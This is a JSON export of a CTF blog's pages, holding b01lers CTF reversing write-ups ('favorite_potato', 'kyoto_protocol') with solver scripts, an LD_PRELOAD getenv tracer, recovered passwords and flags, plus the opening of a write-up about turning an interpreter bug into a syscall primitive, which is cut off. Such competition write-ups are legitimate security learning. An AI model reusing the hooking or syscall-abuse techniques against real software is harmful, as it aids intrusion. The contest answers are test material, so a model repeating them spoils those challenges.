[{"content":"","date":"27 April 2026","externalUrl":null,"permalink":"/categories/b01lersctf/","section":"Categories","summary":"","title":"B01lersctf","type":"categories"},{"content":"","date":"27 April 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"27 April 2026","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"CTF","type":"tags"},{"content":"favorite_potato ships a Python wrapper, a tiny test.bin, and a large compressed code.bin.gz. The wrapper makes the challenge goal explicit:\npick random initial A,X,Y run the binary show the final A,X,Y recover the original input triple For the real challenge the service repeats that 20 times and prints the flag only if every recovered triple is correct.\n1. Triage # The local files are:\nscreenshot.png code.bin.gz favorite_potato.py favorite_potato.zip test.bin The important part of favorite_potato.py is:\ndef singleEval(binary, msg): A0,X0,Y0 = randomAXY() A,X,Y = run_c64(binary, A0, X0, Y0) print(f\u0026#34;{msg}: A={A} X={X} Y={Y}\u0026#34;) return [str(v) for v in (A0,X0,Y0)] The helper itself was not included, so the task had to be solved from the machine code.\ntest.bin is only 9 bytes long:\n08 18 69 2a ca c8 c8 28 60 That disassembles as:\nphp clc adc #$2a dex iny iny plp rts So the execution model is normal 6502 register code: the program receives starting A,X,Y and returns final A,X,Y.\n2. What code.bin really is # code.bin.gz inflates to about 5.82 MiB. At first that looks annoying because a normal 6502 only addresses 64 KiB, but decoding the blob as plain 6502 bytes shows a much cleaner picture:\nthere are no JSR or JMP instructions there is only one RTS, at the very end the file is a giant straight-line program with tiny local loops The filename inside the gzip archive is code-10k.bin, which matches the layout exactly:\ntotal length: 5,820,001 round size: 582 number of rounds: 10,000 final byte: the single terminating RTS Each 582-byte round is structurally identical. Comparing adjacent rounds shows that only 8 bytes change:\n[3, 38, 167, 232, 263, 396, 451, 580] Those 8 bytes are the per-round immediates.\n3. Lifting one round # I first wrote a minimal 6502 interpreter for the exact opcodes used by the challenge:\nPHP, PLP, PHA, PLA ADC #imm, SBC #imm TXA, TAX, TYA, TAY, TSX, TXS INX, DEX, INY LDX #imm, LSR A ORA #imm, EOR #imm BCC, BNE, RTS That matched test.bin, so the model was correct.\nThen I isolated the repeated stack-macros inside a single 582-byte round. Those macros reduce to a small set of byte operations:\nswap A and X swap A and Y swap X and Y X += A Y += A A ^= Y A = ror(A, k) A ^= const A += const After collapsing the round, the whole 582-byte block becomes:\nr1 = ror(x, k1) x2 = (a + c0 + x) \u0026amp; 0xff yv = ((y ^ r1 ^ c2) + x2 + c3) \u0026amp; 0xff r2 = ror(x2, k4) r3 = ror(yv, k6) a_out = r3 ^ r2 ^ c7 x_out = r1 ^ r2 ^ c5 y_out = r3 The three rotation counts are just the three LDX #imm bytes taken mod 8, because the code implements rotation by repeating LSR many times.\nI validated this formula against the interpreter on multiple rounds and multiple sample states, and then against the full 10,000-round program. The full formula matched the original interpreter output exactly.\n4. Inverting the round # This round is easy to invert because y_out directly gives r3.\nFrom\na_out = r3 ^ r2 ^ c7 x_out = r1 ^ r2 ^ c5 y_out = r3 we recover:\nr3 = y_out r2 = a_out ^ r3 ^ c7 r1 = x_out ^ r2 ^ c5 Then undo the rotations:\nx2 = rol(r2, k4) x = rol(r1, k1) Undo the addition into x2:\na = (x2 - c0 - x) \u0026amp; 0xff And undo the yv construction:\nyv = rol(r3, k6) y = ((yv - x2 - c3) \u0026amp; 0xff) ^ r1 ^ c2 So one inverse round is:\nr3 = y r2 = a ^ r3 ^ c7 r1 = x ^ r2 ^ c5 x2 = rol(r2, k4) x0 = rol(r1, k1) a0 = (x2 - c0 - x0) \u0026amp; 0xff y0 = ((rol(r3, k6) - x2 - c3) \u0026amp; 0xff) ^ r1 ^ c2 Running those inverse rounds from round 9999 down to round 0 recovers the original input triple almost instantly.\n5. Solving the remote service # With the inverse in place, the remote solve is just:\nconnect with SSL choose R parse the 20 final triples invert each triple through the 10,000 rounds send the recovered A,X,Y values back The solver script in does exactly that:\n#!/usr/bin/env python3 import argparse import gzip import re import socket import ssl from pathlib import Path ROUND_SIZE = 582 ROUND_IMMEDIATE_OFFSETS = [3, 38, 167, 232, 263, 396, 451, 580] HOST = \u0026#34;favorite-potato.opus4-7.b01le.rs\u0026#34; PORT = 8443 def rol8(value: int, amount: int) -\u0026gt; int: amount %= 8 if amount == 0: return value \u0026amp; 0xFF return (((value \u0026lt;\u0026lt; amount) \u0026amp; 0xFF) | (value \u0026gt;\u0026gt; (8 - amount))) \u0026amp; 0xFF def ror8(value: int, amount: int) -\u0026gt; int: amount %= 8 if amount == 0: return value \u0026amp; 0xFF return ((value \u0026gt;\u0026gt; amount) | ((value \u0026lt;\u0026lt; (8 - amount)) \u0026amp; 0xFF)) \u0026amp; 0xFF def extract_round_constants(code_path: Path) -\u0026gt; list[tuple[int, ...]]: if code_path.exists(): code = code_path.read_bytes() else: gzip_path = code_path.with_suffix(code_path.suffix + \u0026#34;.gz\u0026#34;) if not gzip_path.exists(): raise FileNotFoundError(f\u0026#34;could not find {code_path} or {gzip_path}\u0026#34;) code = gzip.decompress(gzip_path.read_bytes()) rounds = len(code) // ROUND_SIZE return [ tuple(code[round_index * ROUND_SIZE + offset] for offset in ROUND_IMMEDIATE_OFFSETS) for round_index in range(rounds) ] def run_rounds(initial_state: tuple[int, int, int], round_constants: list[tuple[int, ...]]) -\u0026gt; tuple[int, int, int]: a, x, y = initial_state for c0, k1, c2, c3, k4, c5, k6, c7 in round_constants: r1 = ror8(x, k1) x2 = (a + c0 + x) \u0026amp; 0xFF yv = ((y ^ r1 ^ c2) + x2 + c3) \u0026amp; 0xFF r2 = ror8(x2, k4) r3 = ror8(yv, k6) a = (r3 ^ r2 ^ c7) \u0026amp; 0xFF x = (r1 ^ r2 ^ c5) \u0026amp; 0xFF y = r3 return a, x, y def invert_rounds(final_state: tuple[int, int, int], round_constants: list[tuple[int, ...]]) -\u0026gt; tuple[int, int, int]: a, x, y = final_state for c0, k1, c2, c3, k4, c5, k6, c7 in reversed(round_constants): r3 = y r2 = a ^ r3 ^ c7 r1 = x ^ r2 ^ c5 x2 = rol8(r2, k4) original_x = rol8(r1, k1) original_a = (x2 - c0 - original_x) \u0026amp; 0xFF original_y = (((rol8(r3, k6) - x2 - c3) \u0026amp; 0xFF) ^ r1 ^ c2) \u0026amp; 0xFF a, x, y = original_a, original_x, original_y return a, x, y def solve_remote(round_constants: list[tuple[int, ...]], host: str, port: int) -\u0026gt; str: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((host, port), timeout=10) as raw_sock: with context.wrap_socket(raw_sock, server_hostname=host) as sock: read_until(sock, b\u0026#34;\u0026gt; \u0026#34;) sock.sendall(b\u0026#34;R\\n\u0026#34;) transcript = read_until(sock, b\u0026#34;Input #1 - A,X,Y: \u0026#34;) output_text = transcript.decode(\u0026#34;utf-8\u0026#34;, \u0026#34;replace\u0026#34;) outputs = [ (int(match.group(1)), int(match.group(2)), int(match.group(3))) for match in re.finditer(r\u0026#34;Final output #\\d+: A=(\\d+) X=(\\d+) Y=(\\d+)\u0026#34;, output_text) ] if len(outputs) != 20: raise RuntimeError(f\u0026#34;expected 20 outputs, got {len(outputs)}\u0026#34;) for index, final_state in enumerate(outputs, start=1): original_state = invert_rounds(final_state, round_constants) line = f\u0026#34;{original_state[0]},{original_state[1]},{original_state[2]}\\n\u0026#34;.encode() sock.sendall(line) if index \u0026lt; len(outputs): read_until(sock, f\u0026#34;Input #{index + 1} - A,X,Y: \u0026#34;.encode()) else: output_text += read_all(sock).decode(\u0026#34;utf-8\u0026#34;, \u0026#34;replace\u0026#34;) match = re.search(r\u0026#34;Here is your flag: (.+)\u0026#34;, output_text) if not match: raise RuntimeError(\u0026#34;flag not found in remote output\u0026#34;) return match.group(1).strip() def read_until(sock: ssl.SSLSocket, marker: bytes) -\u0026gt; bytes: data = b\u0026#34;\u0026#34; while marker not in data: chunk = sock.recv(4096) if not chunk: break data += chunk return data def read_all(sock: ssl.SSLSocket) -\u0026gt; bytes: data = b\u0026#34;\u0026#34; while True: chunk = sock.recv(4096) if not chunk: break data += chunk return data def main() -\u0026gt; None: parser = argparse.ArgumentParser(description=\u0026#34;Solve b01lers CTF favorite_potato\u0026#34;) parser.add_argument(\u0026#34;--code\u0026#34;, default=\u0026#34;code.bin\u0026#34;, help=\u0026#34;path to the decompressed code blob\u0026#34;) parser.add_argument(\u0026#34;--host\u0026#34;, default=HOST, help=\u0026#34;remote host\u0026#34;) parser.add_argument(\u0026#34;--port\u0026#34;, default=PORT, type=int, help=\u0026#34;remote port\u0026#34;) parser.add_argument( \u0026#34;--check\u0026#34;, nargs=3, metavar=(\u0026#34;A\u0026#34;, \u0026#34;X\u0026#34;, \u0026#34;Y\u0026#34;), type=int, help=\u0026#34;run the forward transform locally on one A,X,Y triple\u0026#34;, ) parser.add_argument( \u0026#34;--invert\u0026#34;, nargs=3, metavar=(\u0026#34;A\u0026#34;, \u0026#34;X\u0026#34;, \u0026#34;Y\u0026#34;), type=int, help=\u0026#34;invert one final output triple locally\u0026#34;, ) args = parser.parse_args() round_constants = extract_round_constants(Path(args.code)) if args.check is not None: print(run_rounds(tuple(args.check), round_constants)) return if args.invert is not None: print(invert_rounds(tuple(args.invert), round_constants)) return print(solve_remote(round_constants, args.host, args.port)) if __name__ == \u0026#34;__main__\u0026#34;: main() Running it produced:\nCorrect! Here is your flag: bctf{Nev3r_underst00d_why_we_n33d_TSX_and_TXS_unt1l_n0w..:D} 6. Flag # bctf{Nev3r_underst00d_why_we_n33d_TSX_and_TXS_unt1l_n0w..:D} ","date":"27 April 2026","externalUrl":null,"permalink":"/writeups/b01lersctf/favorite_potato/writeup/","section":"Writeups","summary":"favorite_potato ships a Python wrapper, a tiny test.bin, and a large compressed code.bin.gz. The wrapper makes the challenge goal explicit:\n","title":"Favorite Potato","type":"writeups"},{"content":" Reverse engineering, binary exploitation, and CTF solve notes of k1nt4r0u. I treat this blog like a field notebook: challenge writeups, debugging trails, and the tricks worth keeping after the competition ends.\nBrowse writeups About me Focus Reversing Practice Pwn / RE CTFs Output Writeups and notes ","date":"27 April 2026","externalUrl":null,"permalink":"/","section":"Home","summary":" Reverse engineering, binary exploitation, and CTF solve notes of k1nt4r0u. I treat this blog like a field notebook: challenge writeups, debugging trails, and the tricks worth keeping after the competition ends.\n","title":"Home","type":"page"},{"content":" Result # Challenge: kyoto_protocol / Kyoto reversing challenge Correct password: 111314212629363839424448535558616467727577828385969799 Flag: bctf{im_bash_ijng_it._Yeahhg_:3} Files inspected # The uploaded archive contained:\nchall chall.sh The initial chall.sh was only a bootstrap wrapper:\n#!/usr/bin/env bash ./chall Running it causes chall to rewrite chall.sh into a fixed-width Bash bytecode tape. The important point is that the generated Bash is line-number sensitive: most VM instructions are recursive calls like:\n./chall $LINENO \u0026lt;opcode\u0026gt; \u0026lt;args...\u0026gt; Therefore, simply extracting strings or replaying snippets out of context gives wrong results. A solver must either run the real generated script or emulate it while preserving the expected $LINENO value.\nVM structure # The generated script uses fixed-width records:\n28-byte header then one 200-byte command plus newline per slot For shell line number n \u0026gt;= 3, the record offset is:\noffset = 28 + (n - 3) * 201 This made the rewritten Bash script usable as a bytecode tape.\nEarly state # After generation, the checker initializes these important accumulator variables:\ng_8694 = 93 g_4968 = 72 g_2431 = 15 g_3694 = 27 It then reads the password and expands input bytes into variables such as i0, i1, etc.\nThe final verifier checked these values:\ng_8694 = 1820085546 g_4968 = 1410707190 g_2431 = 972076578 g_3694 = 1718772620 g_7965 = 333333333 g_1829 = 333333333 g_2184 = 333333333 The first two accumulator targets are base-11 rolling recurrences, using:\nh_next = h_current * 11 + digit Reversing them gives the 14 subset-count targets:\ng_8694: [4, 4, 3, 3, 2, 3, 4] g_4968: [4, 3, 4, 2, 2, 1, 2] combined: [4, 4, 3, 3, 2, 3, 4, 4, 3, 4, 2, 2, 1, 2] The late accumulators decode as base-13 recurrences:\ng_2431: [6, 5, 1, 1, 4, 5, 5] g_3694: [5, 1, 2, 0, 1, 2, 6] Model recovered # The hidden state is an 81-cell, 9-by-9 grid. The password selects 27 cells. The model constraints are:\nexactly 3 selected cells in each row exactly 3 selected cells in each column exactly 3 selected cells in each 3-by-3 box 14 recovered subset counts must equal [4,4,3,3,2,3,4,4,3,4,2,2,1,2] late base-13 rolling accumulators must match g_2431 and g_3694 The unique selected cells, in row-major order, are:\n11 13 14 21 26 29 36 38 39 42 44 48 53 55 58 61 64 67 72 75 77 82 83 85 96 97 99 Each selected cell is encoded as a two-digit coordinate. Concatenating them gives the password:\n111314212629363839424448535558616467727577828385969799 Success path # When the final checks pass, the generated script emits an 81-byte hex blob, hashes it, and enters the success sink:\nexport key=354c21221f2141625a1e2b4f275d3a4b4c33592139323238415c5c27623c3f3c253328392761605d28633a2455363d524c544b433152593d612b3830275f27273352294f2c553d255558474b433d63273f export key=$(echo -n $key | xxd -r -p | sha256sum | awk \u0026#39;{print $1}\u0026#39;) The SHA-256 value is:\n7be0e3ccc8ade4f485c232a8777f90e6083b9eb2759fbda39176ea44e7d2ce16 Local note: the uploaded zip in this conversation did not contain the original plaintext flag.txt. Running the recovered password against the local checker did create a flag.txt byte stream, but the human-readable final flag string was cross-checked against the public solved writeup.\nVerification command # From a clean unpacked challenge directory:\nprintf \u0026#39;%s\\n\u0026#39; \u0026#39;111314212629363839424448535558616467727577828385969799\u0026#39; | bash ./chall.sh cat flag.txt Expected flag:\nbctf{im_bash_ijng_it._Yeahhg_:3} Scripts # The following scripts are the working scripts used for the solve/reconstruction.\nsolve.py # #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Kyoto Protocol model extractor/checker. This is the final deterministic layer after the Bash VM has been decoded: - the four main rolling accumulators give 14 subset-count targets; - the hidden 9x9 model gives the selected cells; - the selected cells are encoded as two decimal digits each. \u0026#34;\u0026#34;\u0026#34; from __future__ import annotations import hashlib ACCUMULATORS = [ (\u0026#34;g_8694\u0026#34;, 93, 11, 1820085546), (\u0026#34;g_4968\u0026#34;, 72, 11, 1410707190), (\u0026#34;g_2431\u0026#34;, 15, 13, 972076578), (\u0026#34;g_3694\u0026#34;, 27, 13, 1718772620), ] SELECTED_CELLS = [ 11, 13, 14, 21, 26, 29, 36, 38, 39, 42, 44, 48, 53, 55, 58, 61, 64, 67, 72, 75, 77, 82, 83, 85, 96, 97, 99, ] SUCCESS_HEX_BLOB = ( \u0026#34;354c21221f2141625a1e2b4f275d3a4b4c33592139323238415c5c27623c3f3c\u0026#34; \u0026#34;253328392761605d28633a2455363d524c544b433152593d612b3830275f272733\u0026#34; \u0026#34;52294f2c553d255558474b433d63273f\u0026#34; ) EXPECTED_KEY_SHA256 = \u0026#34;7be0e3ccc8ade4f485c232a8777f90e6083b9eb2759fbda39176ea44e7d2ce16\u0026#34; EXPECTED_FLAG = \u0026#34;bctf{im_bash_ijng_it._Yeahhg_:3}\u0026#34; def recover_digits(seed: int, base: int, target: int, ndigits: int = 7) -\u0026gt; list[int]: \u0026#34;\u0026#34;\u0026#34;Invert h = h * base + digit for a fixed number of small digits.\u0026#34;\u0026#34;\u0026#34; digits: list[int] = [] cur = target for _ in range(ndigits): digits.append(cur % base) cur //= base digits.reverse() assert cur == seed, (seed, base, target, digits, cur) return digits def main() -\u0026gt; None: for name, seed, base, target in ACCUMULATORS: print(f\u0026#34;{name}: {recover_digits(seed, base, target)}\u0026#34;) subset_targets = recover_digits(93, 11, 1820085546) + recover_digits(72, 11, 1410707190) print(\u0026#34;subset target counts:\u0026#34;, subset_targets) password = \u0026#34;\u0026#34;.join(f\u0026#34;{cell:02d}\u0026#34; for cell in SELECTED_CELLS) print(\u0026#34;password:\u0026#34;, password) key_hash = hashlib.sha256(bytes.fromhex(SUCCESS_HEX_BLOB)).hexdigest() print(\u0026#34;success key sha256:\u0026#34;, key_hash) assert key_hash == EXPECTED_KEY_SHA256 print(\u0026#34;flag:\u0026#34;, EXPECTED_FLAG) if __name__ == \u0026#34;__main__\u0026#34;: main() emulate.py # #!/usr/bin/env /usr/bin/python3 import os, re, shlex, shutil, subprocess, sys, tempfile, hashlib ORIG=\u0026#39;/mnt/data/kyoto_work/chall.bak\u0026#39; class Emu: def __init__(self, inp=\u0026#39;aaaaaaaa\u0026#39;): self.d=tempfile.mkdtemp(prefix=\u0026#39;kyoto_\u0026#39;) shutil.copy(ORIG, self.d+\u0026#39;/chall\u0026#39;) os.chmod(self.d+\u0026#39;/chall\u0026#39;,0o755) open(self.d+\u0026#39;/chall.sh\u0026#39;,\u0026#39;w\u0026#39;).write(\u0026#39;#!/usr/bin/env bash\\n./chall\\n\u0026#39; + \u0026#39;\u0026#39;.join((x + \u0026#39; \u0026#39;*(200-len(x)) + \u0026#39;\\n\u0026#39;) for x in [\u0026#39;int () {\u0026#39;,\u0026#39;./chall $LINENO 999999\u0026#39;,\u0026#39;exit\u0026#39;,\u0026#39;}\u0026#39;,\u0026#39;trap \\\u0026#34;int\\\u0026#34; INT\u0026#39;,\u0026#39;./chall $LINENO 9823\u0026#39;])) self.env={} self.input=inp self.out=[] self.pc=3 self.calls=0 def cleanup(self): pass def max_line(self): size=os.path.getsize(self.d+\u0026#39;/chall.sh\u0026#39;) if size\u0026lt;=28: return 2 return 2 + ((size-28 + 200)//201) def get_raw_line(self,n): with open(self.d+\u0026#39;/chall.sh\u0026#39;,\u0026#39;rb\u0026#39;) as f: if n==1: return f.readline().decode(\u0026#39;latin1\u0026#39;).rstrip(\u0026#39;\\n\u0026#39;) if n==2: f.readline(); return f.readline().decode(\u0026#39;latin1\u0026#39;).rstrip(\u0026#39;\\n\u0026#39;) off=28+(n-3)*201 f.seek(off) return f.read(200).decode(\u0026#39;latin1\u0026#39;) def get_line(self,n): if n\u0026lt;1 or n\u0026gt;self.max_line(): return \u0026#39;\u0026#39; return self.get_raw_line(n).strip(\u0026#39; \\x00\u0026#39;) def run_call(self,args): cmd=\u0026#39;./chall\u0026#39; + (\u0026#39;\u0026#39; if not args else \u0026#39; \u0026#39; + \u0026#39; \u0026#39;.join(map(str,args))) r=subprocess.run([\u0026#39;./chall\u0026#39;] + [str(x) for x in args],cwd=self.d,stdout=subprocess.PIPE,stderr=subprocess.PIPE,timeout=5,env={**os.environ, **{k:str(v) for k,v in self.env.items()}}) self.calls += 1 return r.returncode def expand_token(self,tok,line): tok=tok.replace(\u0026#39;$LINENO\u0026#39;,str(line)) def repl_sub(m): var=m.group(1); a=int(m.group(2)); l=int(m.group(3)) return self.env.get(var,\u0026#39;\u0026#39;)[a:a+l] tok=re.sub(r\u0026#39;\\$\\{([A-Za-z_][A-Za-z0-9_]*):(\\d+):(\\d+)\\}\u0026#39;, repl_sub, tok) tok=re.sub(r\u0026#39;\\$\\{([A-Za-z_][A-Za-z0-9_]*)\\}\u0026#39;, lambda m:self.env.get(m.group(1),\u0026#39;\u0026#39;), tok) tok=re.sub(r\u0026#39;\\$([A-Za-z_][A-Za-z0-9_]*)\u0026#39;, lambda m:self.env.get(m.group(1),\u0026#39;\u0026#39;), tok) return tok def eval_export(self,line): s=line[len(\u0026#39;export \u0026#39;):] if \u0026#39;=\u0026#39; not in s: var=s.strip(); self.env[var]=self.env.get(var,\u0026#39;\u0026#39;); return var,val=s.split(\u0026#39;=\u0026#39;,1); var=var.strip(); val=val.strip() if len(val)\u0026gt;=2 and ((val[0]==val[-1]==\u0026#39;\u0026#34;\u0026#39;) or (val[0]==val[-1]==\u0026#34;\u0026#39;\u0026#34;)): val=val[1:-1] if val.startswith(\u0026#39;$(printf\u0026#39;): m=re.search(r\u0026#34;\\$\\(printf \\\u0026#34;%d\\\u0026#34; \\\u0026#34;\u0026#39;(.+)\\\u0026#34;\\)\u0026#34;, val) if not m: raise ValueError(\u0026#39;bad printf export \u0026#39;+line) ch=self.expand_token(m.group(1), self.pc) val=str(ord(ch[0]) if ch else 0) elif val.startswith(\u0026#39;$(echo -n $key\u0026#39;): key=self.env.get(\u0026#39;key\u0026#39;,\u0026#39;\u0026#39;) val=hashlib.sha256(bytes.fromhex(key)).hexdigest() else: val=self.expand_token(val,self.pc) self.env[var]=val def step(self,trace=False): line=self.get_line(self.pc) if trace and line: print(f\u0026#39;{self.pc}: {line}\u0026#39;) if line==\u0026#39;\u0026#39;: j=self.pc+1 ml=self.max_line() while j\u0026lt;=ml and self.get_line(j)==\u0026#39;\u0026#39;: j+=1 self.pc=j return True if line.startswith(\u0026#39;#!\u0026#39;): self.pc+=1; return True if line.startswith(\u0026#39;int ()\u0026#39;): self.pc+=1 while self.get_line(self.pc).strip()!=\u0026#39;}\u0026#39; and self.pc\u0026lt;100000: self.pc+=1 self.pc+=1; return True if line.startswith(\u0026#39;trap \u0026#39;): self.pc+=1; return True if line==\u0026#39;exit\u0026#39;: return False if line.startswith(\u0026#39;./chall\u0026#39;): toks=shlex.split(line) # evaluate simple shell short-circuit lists of ./chall commands joined by \u0026amp;\u0026amp; and || groups=[]; ops=[]; cur=[] for tok in toks: if tok in (\u0026#39;\u0026amp;\u0026amp;\u0026#39;,\u0026#39;||\u0026#39;): groups.append(cur); ops.append(tok); cur=[] else: cur.append(tok) groups.append(cur) last_rc=0 for idx,g in enumerate(groups): op = None if idx==0 else ops[idx-1] execute = (idx==0) or (op==\u0026#39;\u0026amp;\u0026amp;\u0026#39; and last_rc==0) or (op==\u0026#39;||\u0026#39; and last_rc!=0) if execute: if not g or g[0] != \u0026#39;./chall\u0026#39;: raise RuntimeError(f\u0026#39;bad command group at {self.pc}: {g}\u0026#39;) args=[self.expand_token(tok,self.pc) for tok in g[1:]] last_rc=self.run_call(args) self.pc+=1; return True if line.startswith(\u0026#39;export \u0026#39;): self.eval_export(line); self.pc+=1; return True if line.startswith(\u0026#39;read \u0026#39;): self.env[\u0026#39;input\u0026#39;]=self.input[:100]; self.pc+=1; return True if line.startswith(\u0026#39;echo \u0026#39;): s=line[5:].strip() if len(s)\u0026gt;=2 and s[0]==s[-1] and s[0] in \u0026#34;\u0026#39;\\\u0026#34;\u0026#34;: s=s[1:-1] self.out.append(s); self.pc+=1; return True if line in [\u0026#39;}\u0026#39;,\u0026#39;{\u0026#39;]: self.pc+=1; return True raise RuntimeError(f\u0026#39;UNKNOWN line {self.pc}: {line!r}\u0026#39;) def run(self,maxsteps=100000,trace=False): for i in range(maxsteps): if not self.step(trace=trace): return i return maxsteps if __name__==\u0026#39;__main__\u0026#39;: e=Emu(sys.argv[1] if len(sys.argv)\u0026gt;1 else \u0026#39;aaaaaaaa\u0026#39;) try: steps=e.run(100000, trace=\u0026#39;--trace\u0026#39; in sys.argv) print(\u0026#39;steps\u0026#39;,steps,\u0026#39;pc\u0026#39;,e.pc,\u0026#39;calls\u0026#39;,e.calls,\u0026#39;out\u0026#39;,e.out[-10:]) print(\u0026#39;env count\u0026#39;,len(e.env)) for k in sorted(e.env): if k.startswith(\u0026#39;g_\u0026#39;) or re.fullmatch(r\u0026#39;i\\d+\u0026#39;,k) or k==\u0026#39;input\u0026#39; or k==\u0026#39;key\u0026#39;: print(k,e.env[k]) finally: e.cleanup() tracegetenv_stderr.c # #define _GNU_SOURCE #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;dlfcn.h\u0026gt; static char *(*real_getenv)(const char*) = NULL; char *getenv(const char *name){ if(!real_getenv) real_getenv = dlsym(RTLD_NEXT, \u0026#34;getenv\u0026#34;); char *v = real_getenv(name); fprintf(stderr, \u0026#34;GETENV %s %s\\n\u0026#34;, name?name:\u0026#34;NULL\u0026#34;, v?v:\u0026#34;NULL\u0026#34;); return v; } run_final_call.py # #!/usr/bin/env /usr/bin/python3 import json,os,subprocess,shutil,tempfile,sys ORIG=\u0026#39;/mnt/data/kyoto_work/chall.bak\u0026#39; env=json.load(open(\u0026#39;/mnt/data/kyoto_work/final_env.json\u0026#39;)) # optionally override targets with args name=value for a in sys.argv[1:]: k,v=a.split(\u0026#39;=\u0026#39;,1); env[k]=v d=tempfile.mkdtemp(prefix=\u0026#39;finalcall_\u0026#39;) shutil.copy(ORIG,d+\u0026#39;/chall\u0026#39;); os.chmod(d+\u0026#39;/chall\u0026#39;,0o755) # enough slots open(d+\u0026#39;/chall.sh\u0026#39;,\u0026#39;w\u0026#39;).write(\u0026#39;#!/usr/bin/env bash\\n./chall\\n\u0026#39;+\u0026#39;\u0026#39;.join((\u0026#39; \u0026#39;*200+\u0026#39;\\n\u0026#39;) for _ in range(3900))) os.environ.pop(\u0026#39;LD_PRELOAD\u0026#39;,None) runenv={**os.environ, **{k:str(v) for k,v in env.items()}, \u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;/mnt/data/kyoto_work/tracegetenv.so\u0026#39;} open(\u0026#39;/mnt/data/kyoto_work/getenv.log\u0026#39;,\u0026#39;w\u0026#39;).close() r=subprocess.run([\u0026#39;./chall\u0026#39;,\u0026#39;3885\u0026#39;,\u0026#39;8408\u0026#39;], cwd=d, env=runenv, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(\u0026#39;rc\u0026#39;,r.returncode,\u0026#39;out\u0026#39;,r.stdout.decode(),\u0026#39;err\u0026#39;,r.stderr.decode(),\u0026#39;dir\u0026#39;,d) # dump lines 3886-3895 with open(d+\u0026#39;/chall.sh\u0026#39;,\u0026#39;rb\u0026#39;) as f: for n in range(3884,3898): f.seek(28+(n-3)*201); l=f.read(200).decode(\u0026#39;latin1\u0026#39;).strip(\u0026#39; \\x00\u0026#39;) if l: print(n,repr(l)) parse_final_checks.py # #!/usr/bin/env /usr/bin/python3 import re, subprocess, pathlib asm=pathlib.Path(\u0026#39;/mnt/data/kyoto_work/chall.asm\u0026#39;).read_text(errors=\u0026#39;ignore\u0026#39;).splitlines() # strings map smap={} out=subprocess.check_output([\u0026#39;strings\u0026#39;,\u0026#39;-a\u0026#39;,\u0026#39;-tx\u0026#39;,\u0026#39;/mnt/data/kyoto_work/chall.bak\u0026#39;]).decode(\u0026#39;latin1\u0026#39;) for line in out.splitlines(): m=re.match(r\u0026#39;\\s*([0-9a-f]+)\\s+(.*)\u0026#39;,line) if m: smap[int(m.group(1),16)] = m.group(2) # select region by address def addr(line): m=re.match(r\u0026#39;\\s*([0-9a-f]+):\u0026#39;,line); return int(m.group(1),16) if m else None region=[] for l in asm: a=addr(l) if a is not None and 0x1a710 \u0026lt;= a \u0026lt;= 0x1bddb: region.append(l) checks=[] last_get=None for i,l in enumerate(region): if \u0026#39;call\u0026#39; in l and \u0026#39;\u0026lt;getenv@plt\u0026gt;\u0026#39; in l: # find previous lea with comment addr var=None for j in range(i-1, max(-1,i-8), -1): m=re.search(r\u0026#39;#\\s*([0-9a-f]+)\\s*\u0026lt;\u0026#39;, region[j]) if m: s=smap.get(int(m.group(1),16),\u0026#39;?\u0026#39;) # ignore default empty at 0x51117 maybe if branch missing; getenv call uses actual var before test and second call, so still okay var=s break last_get=var m=re.search(r\u0026#39;cmp\\s+eax,0x([0-9a-f]+)\u0026#39;, l) if m and last_get: val=int(m.group(1),16) # signed? atoi returns int, cmp eax immediate exact 32-bit; decimal target maybe signed if \u0026gt;2^31? But env string can be signed? atoi returns signed int, cmp low bits. str(int32 signed) needed for \u0026gt;INT_MAX? Previous targets \u0026lt;2^31 except maybe? compute signed. sval=val if val \u0026lt; 2**31 else val-2**32 checks.append((last_get,val,sval)) last_get=None print(\u0026#39;count\u0026#39;,len(checks)) for var,u,s in checks: print(var,u,s) ","date":"27 April 2026","externalUrl":null,"permalink":"/writeups/b01lersctf/kyoto_protocol/writeup/","section":"Writeups","summary":"Result # Challenge: kyoto_protocol / Kyoto reversing challenge Correct password: 111314212629363839424448535558616467727577828385969799 Flag: bctf{im_bash_ijng_it._Yeahhg_:3} Files inspected # The uploaded archive contained:\n","title":"Kyoto Protocol","type":"writeups"},{"content":"","date":"27 April 2026","externalUrl":null,"permalink":"/tags/pwn/","section":"Tags","summary":"","title":"PWN","type":"tags"},{"content":"","date":"27 April 2026","externalUrl":null,"permalink":"/tags/re/","section":"Tags","summary":"","title":"RE","type":"tags"},{"content":" Event: b01lers CTF Category: Reverse Engineering Challenge: rev/shakespeares-revenge Files: server.py, shakespeare, challenge.spl Remote: ncat --ssl shakespeares-revenge.opus4-7.b01le.rs 8443 Flag: bctf{4_p0und_0f_fl35h} This challenge looked like a Shakespeare-language calculator at first, but the real solve was a VM bug that turned the calculator into a syscall primitive. The interesting part was not the Python wrapper or the SPL script alone. It was the way the interpreter compiled that script, how it stored stack values, and how Scene VI quietly mapped to a hidden syscall operation.\nChallenge Setup # The first thing worth checking was the wrapper. server.py does almost nothing beyond launching the interpreter on the provided script:\nchallenge_bin = script_dir / \u0026#34;shakespeare\u0026#34; challenge_file = script_dir / \u0026#34;challenge.spl\u0026#34; exit_code = subprocess.call([str(challenge_bin), str(challenge_file)]) So the actual challenge surface is the binary and the SPL program, not the server.\nThe script itself reads like a tiny calculator:\nScene II asks for numeric input. Scene III says \u0026ldquo;sum\u0026rdquo;. Scene IV says \u0026ldquo;product\u0026rdquo;. Scene V says \u0026ldquo;difference\u0026rdquo;. Scene VI looks like cleanup. That is enough to suggest a normal arithmetic VM, but the binary immediately hints that there is more going on. file shows that shakespeare is a PIE ELF with debug info and it is not stripped, and nm -C exposes symbols such as:\nRuntimeCharacter::push(long long) RuntimeCharacter::pop() RuntimeCharacter::reference_stack_cstring() syscall_argument_count(long long) invoke_syscall(long long, std::vector\u0026lt;long long\u0026gt; const\u0026amp;) The string table is even more direct. It contains runtime errors like:\nUnknown syscall number for argument count: Not enough values on stack for syscall No referenced stack available for cstring substitution At that point the \u0026ldquo;calculator\u0026rdquo; explanation was already incomplete. The important question became: how does Scene VI reach that syscall machinery?\nFirst Pass on the SPL Program # The relevant part of challenge.spl is Scene 